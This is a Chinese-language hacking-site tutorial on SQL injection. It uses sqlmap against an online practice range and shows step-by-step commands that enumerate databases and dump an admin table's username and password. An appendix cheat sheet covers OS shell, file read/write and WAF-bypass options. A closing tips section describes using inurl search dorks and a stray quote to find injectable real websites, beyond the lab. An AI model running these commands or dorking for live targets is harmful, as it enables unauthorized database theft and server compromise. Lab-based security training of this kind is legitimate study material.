X黑手网
X黑手网
X黑手网

新手学习SQL漏洞注入用sqlmap获取管理密码和用户名-(附实战练习)-小技巧

推荐阅读

手机版sqlmap和win版图形化工具和汉化版包-X黑手网

入坑解读 | 什么是SQL注入?

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

二、SQL注入的产生需要满足以下两个条件

1、参数用户可控:前端传给后端的参数用户可控。

2、参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。

正是这个拼接的过程导致了代码的注入

多言无益,我们拿真实的案例来说话。下面我们先使用SQLite建立一个学生档案表。

SQL数据库操作示例:

此教程使用靶场实战演示,仅供学习未经授权切勿用于非法用途 !

image

第一步 准备

1.攻击机kali

2.封神台-掌控安全在线演练靶场

第二步开始攻击

发现此网址可能存在sql注入漏洞,我们进行sql盲注入测试一下是否存在漏洞。
地址栏输入 ?id=1 and 1=1  发现页面正常显示。

image

再次输入?id=1 and 1=2 页面出现错误,我们发现构建?id=1 and 1=2后,网页的内容丢失,从而判断这里存在SQL注入,说明该页面可能存在sql注入漏洞

image

2.现在拿出我们的kali工具,sqlmap进行注入测试(爆所有数据库名)

sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=1 --dbs

3eabede159670bb86f46ece2c7528918

image

3.爆当前使用的是哪个数据库

sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=1 --current-db

image

4.当前使用的数据库是:maoshe 接下来爆表(列出指定数据库中的表名,此处即maoshe),报表的时候需要跑表,需要我们输入“y“进行确认,sqlmap将自动跑出表名。

sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=2 -D maoshe -tables

b96ff90f564ae58fbd288bd24daa4e48

image

5.接下来查一下admin中存在哪些列。(爆指定库、指定表、指定字段的内容)

sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=2 -D maoshe -T admin --columns

b7bb06f2208dd3ce6b45db61bb8ed04a

image

6.上一步可以看到,username,password 是不是很熟悉。ok接下来我们开始获取这两列的数据

sqlmap -u http://pu2lh35s.ia.aqlab.cn/?id=1 -D maoshe -T admin -C id,username,password --dump

407f374f078e2826111c92db05c9d3e

7.END 成功获取到密码,拿到flag,提交。Gameover !

image

到此,我们已经获取管理的账号和密码:admin/hellohack

有没有发现使用sqlmap进行爆库、爆表、爆字段、爆内容就很方便 ,大家赶快去尝试一下学习一下吧,每天进步一点,终到达彼岸!有什么问题留言哦!

附件

一、sqlmap常用基础命令

1、基本运行步骤

以下命令顺序即为sql注入常见步骤。

sqlmap -u url --dbs #获取数据库
sqlmap -u url --current-user #获取当前用户名称 :
sqlmap -u url --current-db #获取当前数据库名称
sqlmap -u url -D 数据库名 --tables   #列出表名 : 
sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段 
sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容

提示:

1、如果是Microsoft Access 可省略前三个步骤 且不需要-D参数

2、获取字段内容时可以省略字段信息直接查询所有字段 使用:

sqlmap -u url -D 数据库名 -T 表名 --dump

2、常见参数及解释

--cookie=cookie的内容        设置cookie 值 通常配合获取数据库使用 
--data        设置 POST 提交的值
-u        指定目标 URL
-b        获取 DBMS banner
--current-db        获取当前数据库
--current-user        获取当前数据库的用户
--tables        获取数据库里所有的表名
--columns        获取表里的所有字段
--dump        获取字段中的内容
--current-user        获取当前用户
-D [数据库名]       指定数据库名
-T  [表名]      指定表名
-C  [字段名]      指定字段名
--string       当查询可用时用来匹配页面中的字符串
--users        枚举所有用户
--passwords      枚举所有用户的密码hsah
--dbs      枚举数据库中的数据库名
-r       指定请求包

GET型注入一般用 sqlmap -u url

POST型注入一般用 sqlmap -u url –data POST参数

如果需要增加cookie或其他请求头 可将请求保存到文本中,如request.txt,则用sqlmap -r request.txt(经常配合burpsuite使用,直接将请求包保存到文件,然后使用sqlmap -r 来进行sql注入)

二、sqlmap常用基础命令

--level 5  探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)
--fresh-queries 刷新缓存,避免后续查询数据不更新
--techque=U 使用联合查询,B 布尔查询…… 通常能用U就用U 很快
--random-agent 使用随机ua
--is-dba   判断当前用户是否是管理员权限
--roles    列出数据库管理员角色(仅适用与Oracle数据库)
--referer  HTTP Referer头(伪造HTTP头中的Referer,当--level等级大于等于3时会通过伪造Referer来进行注入)
--sql-shell 运行自定义SQL语句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell 运行任意操作系统命令(仅支持MySQL、PostgreSQL、SQL Server)
--file-read 从数据库服务器中读取文件(要知道文件绝对路径)
--file-write "本地文件路径" --file-dest "远程绝对路径"   上传文件到数据库服务器中
--tamper "模块名" bypass绕waf时使用 具体模块可参考书《Web安全攻防 渗透测试实战指南》P40~49页

小技巧

inurl它却是一把利器。例如在搜索引擎中输入inurl:.php?id=或者inurl:.jsp?id=等等,可以搜索可能存在的SQL注入链接。

image

如,当我们在地址后面输入'符号,便会导致站点异常,从而证明站点存在sql注入。

image

网页标题一般会表明该页面的内容,例如搜索“后台登录”,展示的结果均与后台登录有关。

image

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 共1条

请登录后发表评论